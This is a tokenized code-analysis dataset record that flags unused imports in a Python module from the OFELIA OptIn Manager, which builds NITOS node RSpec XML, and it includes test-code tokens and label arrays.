"'", "Foo", " ", "Bar", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Update", "Friend", "Test", "Case_", "(_", "service", "\\u", "base", "\\u", "test_", "._", "Service", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Ba", "d", "Requests_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "ERROR", ":", " ", "Sen", "d", " ", "bad", " ", "request", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Rai", "ses", "Http", "Error_", "(_", "400_", ",_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", ",_", "self_", "._", "\\u", "cookie_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Rai", "ses", "Http", "Error_", "(_", "400_", ",_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", ",_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Rai", "ses", "Http", "Error_", "(_", "400_", ",_", "self_", "._", "\\u", "tester_", "._", "Update", "Friend", "_", ",_", "self_", "._", "\\u", "cookie_", ",_", "user", "\\u", "id_", "=_", "self_", "._", "\\u", "user2_", "._", "user", "\\u", "id_", ",_", "nickname_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Test", "Update", "Friend", "_", "(_", "tester_", ",_", "user", "\\u", "cookie_", ",_", "request", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Call", "ed", " ", "by", " ", "the", " ", "Service", "Tester", " ", "in", " ", "order", " ", "to", " ", "test", " ", "update", "\\u", "frie", "nd", " ", "service", " ", "API", " ", "call", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validator_", "=_", "tester_", "._", "validator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", "=_", "tester_", "._", "Get", "Id", "s", "Fro", "m", "Cookie_", "(_", "user", "\\u", "cookie_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "\\u", "dict_", "=_", "deepcopy_", "(_", "request", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sen", "d", " ", "update", "\\u", "frie", "nd", " ", "request", "._", "\\u\\u\\uNL\\u\\u\\u_", "actual", "\\u", "dict_", "=_", "tester_", "._", "Sen", "d", "Request_", "(_", "'", "update", "\\u", "frie", "nd", "'_", ",_", "user", "\\u", "cookie_", ",_", "request", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op", "\\u", "dict_", "=_", "tester_", "._", "\\u", "Derive", "Notifi", "cation", "Op", "Dict_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "update", "s", " ", "to", " ", "the", " ", "Friend", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "frie", "nd", "\\u", "dict_", "=_", "request", "\\u", "dict_", "[_", "'", "frie", "nd", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "\\u", "dict_", "[_", "'", "frie", "nd", "\\u", "id", "'_", "]_", "=_", "frie", "nd", "\\u", "dict_", "._", "pop_", "(_", "'", "user", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validator_", "._", "Validate", "Update", "DB", "Object_", "(_", "Friend", "_", ",_", "**_", "frie", "nd", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "notification", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "invalidate", "_", "=_", "{_", "'", "users", "'_", ":_", "[_", "frie", "nd", "\\u", "dict_", "[_", "'", "frie", "nd", "\\u", "id", "'_", "]_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validator_", "._", "Validate", "Notification_", "(_", "'", "update", "\\u", "frie", "nd", "'_", ",_", "user", "\\u", "id_", ",_", "op", "\\u", "dict_", ",_", "invalidate", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tester_", "._", "\\u", "Compare", "Respons", "e", "Dict", "s_", "(_", "'", "update", "\\u", "frie", "nd", "'_", ",_", "user", "\\u", "id_", ",_", "request", "\\u", "dict_", ",_", "{_", "}_", ",_", "actual", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "actual", "\\u", "dict_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fp7-ofelia/ocf/optin_manager/src/python/openflow/optin_manager/sfa/rspecs/elements/versions/nitosv1Node.py
[ { "content": "from openflow.optin_manager.sfa.util.sfalogging import logger\nfrom openflow.optin_manager.sfa.util.xml import XpathFilter\nfrom openflow.optin_manager.sfa.util.xrn import Xrn\n\nfrom openflow.optin_manager.sfa.rspecs.elements.element import Element\nfrom openflow.optin_manager.sfa.rspecs.elements.node import Node\nfrom openflow.optin_manager.sfa.rspecs.elements.sliver import Sliver\nfrom openflow.optin_manager.sfa.rspecs.elements.location import Location\nfrom openflow.optin_manager.sfa.rspecs.elements.position_3d import Position3D\nfrom openflow.optin_manager.sfa.rspecs.elements.hardware_type import HardwareType\nfrom openflow.optin_manager.sfa.rspecs.elements.disk_image import DiskImage\nfrom openflow.optin_manager.sfa.rspecs.elements.interface import Interface\nfrom openflow.optin_manager.sfa.rspecs.elements.bwlimit import BWlimit\nfrom openflow.optin_manager.sfa.rspecs.elements.pltag import PLTag\nfrom openflow.optin_manager.sfa.rspecs.elements.versions.nitosv1Sliver import NITOSv1Sliver\nfrom openflow.optin_manager.sfa.rspecs.elements.versions.nitosv1PLTag import NITOSv1PLTag\nfrom openflow.optin_manager.sfa.rspecs.elements.versions.pgv2Services import PGv2Services\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class NITOSv1Node:\n\n\n\n \n\n\n", "metadata": "root.NITOSv1Node", "header": "['module', '___EOS___']", "index": 19 }, { "content": " @staticmethod\n def add_nodes(xml, nodes):\n network_elems = xml.xpath('//network')\n if len(network_elems) > 0:\n network_elem = network_elems[0]\n elif len(nodes) > 0 and nodes[0].get('component_manager_id'):\n network_urn = nodes[0]['component_manager_id']\n network_elem = xml.add_element('network', name = Xrn(network_urn).get_hrn())\n else:\n network_elem = xml\n\n # needs to be improuved to retreive the gateway addr dynamically.\n gateway_addr = 'nitlab.inf.uth.gr'\n\n node_elems = [] \n for node in nodes:\n node_fields = ['component_manager_id', 'component_id', 'boot_state']\n node_elem = network_elem.add_instance('node', node, node_fields)\n node_elems.append(node_elem)\n\n # determine network hrn\n network_hrn = None \n if 'component_manager_id' in node and node['component_manager_id']:\n network_hrn = Xrn(node['component_manager_id']).get_hrn()\n\n # set component_name attribute and hostname element\n if 'component_id' in node and node['component_id']:\n component_name = Xrn(xrn=node['component_id']).get_leaf()\n node_elem.set('component_name', component_name)\n hostname_elem = node_elem.add_element('hostname')\n hostname_elem.set_text(component_name)\n\n # set site id\n if 'authority_id' in node and node['authority_id']:\n node_elem.set('site_id', node['authority_id'])\n\n # add locaiton\n location = node.get('location')\n if location:\n node_elem.add_instance('location', location, Location.fields)\n\n # add 3D Position of the node\n position_3d = node.get('position_3d')\n if position_3d:\n node_elem.add_instance('position_3d', position_3d, Position3D.fields)\n\n # all nitos nodes are exculsive\n exclusive_elem = node_elem.add_element('exclusive')\n exclusive_elem.set_text('TRUE')\n \n # In order to access nitos nodes, one need to pass through the nitos gateway\n # here we advertise Nitos access gateway address\n gateway_elem = node_elem.add_element('gateway')\n gateway_elem.set_text(gateway_addr)\n\n # add granularity of the reservation system\n granularity = node.get('granularity')['grain']\n if granularity:\n #node_elem.add_instance('granularity', granularity, granularity.fields)\n granularity_elem = node_elem.add_element('granularity')\n granularity_elem.set_text(str(granularity))\n # add hardware type\n #hardware_type = node.get('hardware_type')\n #if hardware_type:\n # node_elem.add_instance('hardware_type', hardware_type)\n hardware_type_elem = node_elem.add_element('hardware_type')\n hardware_type_elem.set_text(node.get('hardware_type'))\n\n\n if isinstance(node.get('interfaces'), list):\n for interface in node.get('interfaces', []):\n node_elem.add_instance('interface', interface, ['component_id', 'client_id', 'ipv4']) \n \n #if 'bw_unallocated' in node and node['bw_unallocated']:\n # bw_unallocated = etree.SubElement(node_elem, 'bw_unallocated', units='kbps').text = str(int(node['bw_unallocated'])/1000)\n\n PGv2Services.add_services(node_elem, node.get('services', []))\n tags = node.get('tags', [])\n if tags:\n for tag in tags:\n tag_elem = node_elem.add_element(tag['tagname'])\n tag_elem.set_text(tag['value'])\n NITOSv1Sliver.add_slivers(node_elem, node.get('slivers', []))", "metadata": "root.NITOSv1Node.add_nodes", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 21 }, { "content": " @staticmethod \n def add_slivers(xml, slivers):\n component_ids = []\n for sliver in slivers:\n filter = {}\n if isinstance(sliver, str):\n filter['component_id'] = '*%s*' % sliver\n sliver = {}\n elif 'component_id' in sliver and sliver['component_id']:\n filter['component_id'] = '*%s*' % sliver['component_id']\n if not filter:\n continue \n nodes = NITOSv1Node.get_nodes(xml, filter)\n if not nodes:\n continue\n node = nodes[0]\n NITOSv1Sliver.add_slivers(node, sliver)", "metadata": "root.NITOSv1Node.add_slivers", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 105 }, { "content": " @staticmethod\n def remove_slivers(xml, hostnames):\n for hostname in hostnames:\n nodes = NITOSv1Node.get_nodes(xml, {'component_id': '*%s*' % hostname})\n for node in nodes:\n slivers = NITOSv1Sliver.get_slivers(node.element)\n for sliver in slivers:\n node.element.remove(sliver.element)", "metadata": "root.NITOSv1Node.remove_slivers", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 123 }, { "content": " @staticmethod\n def get_nodes(xml, filter={}):\n xpath = '//node%s | //default:node%s' % (XpathFilter.xpath(filter), XpathFilter.xpath(filter))\n node_elems = xml.xpath(xpath)\n return NITOSv1Node.get_node_objs(node_elems)", "metadata": "root.NITOSv1Node.get_nodes", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 132 }, { "content": " @staticmethod\n def get_nodes_with_slivers(xml):\n xpath = '//node[count(sliver)>0] | //default:node[count(default:sliver)>0]' \n node_elems = xml.xpath(xpath)\n return NITOSv1Node.get_node_objs(node_elems)", "metadata": "root.NITOSv1Node.get_nodes_with_slivers", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 138 }, { "content": " @staticmethod\n def get_node_objs(node_elems):\n nodes = [] \n for node_elem in node_elems:\n node = Node(node_elem.attrib, node_elem)\n if 'site_id' in node_elem.attrib:\n node['authority_id'] = node_elem.attrib['site_id']\n # get location\n location_elems = node_elem.xpath('./default:location | ./location')\n locations = [loc_elem.get_instance(Location) for loc_elem in location_elems] \n if len(locations) > 0:\n node['location'] = locations[0]\n # get bwlimit\n bwlimit_elems = node_elem.xpath('./default:bw_limit | ./bw_limit')\n bwlimits = [bwlimit_elem.get_instance(BWlimit) for bwlimit_elem in bwlimit_elems]\n if len(bwlimits) > 0:\n node['bwlimit'] = bwlimits[0]\n # get interfaces\n iface_elems = node_elem.xpath('./default:interface | ./interface')\n ifaces = [iface_elem.get_instance(Interface) for iface_elem in iface_elems]\n node['interfaces'] = ifaces\n # get services\n node['services'] = PGv2Services.get_services(node_elem) \n # get slivers\n node['slivers'] = NITOSv1Sliver.get_slivers(node_elem)\n # get tags\n node['tags'] = NITOSv1PLTag.get_pl_tags(node_elem, ignore=Node.fields+[\"hardware_type\"])\n # get hardware types\n hardware_type_elems = node_elem.xpath('./default:hardware_type | ./hardware_type')\n node['hardware_types'] = [hw_type.get_instance(HardwareType) for hw_type in hardware_type_elems]\n\n # temporary... play nice with old slice manager rspec\n if not node['component_name']:\n hostname_elem = node_elem.find(\"hostname\")\n if hostname_elem != None:\n node['component_name'] = hostname_elem.text\n\n nodes.append(node)\n return nodes ", "metadata": "root.NITOSv1Node.get_node_objs", "header": "['class', 'NITOSv1Node', ':', '___EOS___']", "index": 145 } ]
[ { "span": "from openflow.optin_manager.sfa.util.sfalogging import logger", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 61 }, { "span": "from openflow.optin_manager.sfa.rspecs.elements.element import Element", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 70 }, { "span": "from openflow.optin_manager.sfa.rspecs.elements.sliver import Sliver", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 68 }, { "span": "from openflow.optin_manager.sfa.rspecs.elements.disk_image import DiskImage", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 75 }, { "span": "from openflow.optin_manager.sfa.rspecs.elements.pltag import PLTag", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 66 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "util_", "._", "sfa", "logging_", "import_", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "util_", "._", "xml_", "import_", "Xp", "ath", "Filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "util_", "._", "xr", "n_", "import_", "Xr", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "element_", "import_", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "node_", "import_", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "sli", "ver_", "import_", "Sli", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "location_", "import_", "Location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "position", "\\u", "3d_", "import_", "Position", "3", "D_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "hard", "ware", "\\u", "type_", "import_", "Hard", "ware", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "disk", "\\u", "image_", "import_", "Disk", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "interface_", "import_", "Interface_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "bw", "limit_", "import_", "BW", "limit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "plt", "ag_", "import_", "PL", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "nit", "os", "v1", "Sli", "ver_", "import_", "NIT", "OS", "v1", "Sli", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "nit", "os", "v1", "PL", "Tag_", "import_", "NIT", "OS", "v1", "PL", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "openf", "low_", "._", "opti", "n", "\\u", "manager_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "pg", "v2", "Services_", "import_", "PG", "v2", "Services_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Node_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "\\u", "nodes_", "(_", "xml_", ",_", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elems_", "=_", "xml_", "._", "xpath_", "(_", "'//", "network", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "network", "\\u", "elems_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elem_", "=_", "network", "\\u", "elems_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "nodes_", ")_", ">_", "0_", "and_", "nodes_", "[_", "0_", "]_", "._", "get_", "(_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "urn_", "=_", "nodes_", "[_", "0_", "]_", "[_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network", "\\u", "elem_", "=_", "xml_", "._", "add", "\\u", "element_", "(_", "'", "network", "'_", ",_", "name_", "=_", "Xr", "n_", "(_", "network", "\\u", "urn_", ")_", "._", "get", "\\u", "hr", "n_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elem_", "=_", "xml_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", "s", " ", "to", " ", "be", " ", "impro", "uve", "d", " ", "to", " ", "retr", "eive", " ", "the", " ", "gateway", " ", "addr", " ", "dynami", "call", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gateway", "\\u", "addr_", "=_", "'", "nit", "lab", ".", "inf", ".", "uth", ".", "gr", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node", "\\u", "elems_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "fields_", "=_", "[_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", ",_", "'", "component", "\\u", "id", "'_", ",_", "'", "boot", "\\u", "state", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "elem_", "=_", "network", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "node", "'_", ",_", "node_", ",_", "node", "\\u", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "elems_", "._", "append_", "(_", "node", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dete", "rmin", "e", " ", "network", " ", "hr", "n_", "\\u\\u\\uNL\\u\\u\\u_", "network", "\\u", "hr", "n_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", "in_", "node_", "and_", "node_", "[_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "hr", "n_", "=_", "Xr", "n_", "(_", "node_", "[_", "'", "component", "\\u", "manage", "r", "\\u", "id", "'_", "]_", ")_", "._", "get", "\\u", "hr", "n_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "component", "\\u", "name", " ", "attribute", " ", "and", " ", " ", "host", "name", " ", "element_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "component", "\\u", "id", "'_", "in_", "node_", "and_", "node_", "[_", "'", "component", "\\u", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "component", "\\u", "name_", "=_", "Xr", "n_", "(_", "xr", "n_", "=_", "node_", "[_", "'", "component", "\\u", "id", "'_", "]_", ")_", "._", "get", "\\u", "leaf_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "elem_", "._", "set_", "(_", "'", "component", "\\u", "name", "'_", ",_", "component", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "name", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "'", "host", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "name", "\\u", "elem_", "._", "set\\u", "text_", "(_", "component", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "site", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "authori", "ty", "\\u", "id", "'_", "in_", "node_", "and_", "node_", "[_", "'", "authori", "ty", "\\u", "id", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "elem_", "._", "set_", "(_", "'", "site", "\\u", "id", "'_", ",_", "node_", "[_", "'", "authori", "ty", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "loc", "ait", "on_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "location_", "=_", "node_", "._", "get_", "(_", "'", "location", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "location_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "location", "'_", ",_", "location_", ",_", "Location_", "._", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "3", "D", " ", "Position", " ", "of", " ", "the", " ", "node_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "position", "\\u", "3d_", "=_", "node_", "._", "get_", "(_", "'", "position", "\\u", "3d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "position", "\\u", "3d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "position", "\\u", "3d", "'_", ",_", "position", "\\u", "3d_", ",_", "Position", "3", "D_", "._", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "nit", "os", " ", "nodes", " ", "are", " ", "excu", "lsi", "ve_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exclu", "sive", "\\u", "elem_", "=_", "node", "\\u", "elem_", "._", "add", "\\u", "element_", "(_", "'", "exclu", "sive", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exclu", "sive", "\\u", "elem_", "._", "set\\u", "text_", "(_", "'", "TRU", "E", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "order", " ", "to", " ", "access", " ", "nit", "os", " ", "nodes", ",", " ", "one", " ", "need", " ", "to", " ", "pass", " ", "through", " ", "the", " ", "nit", "os", " ", "gateway_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "here", " ", "we", " ", "advertise", " ", 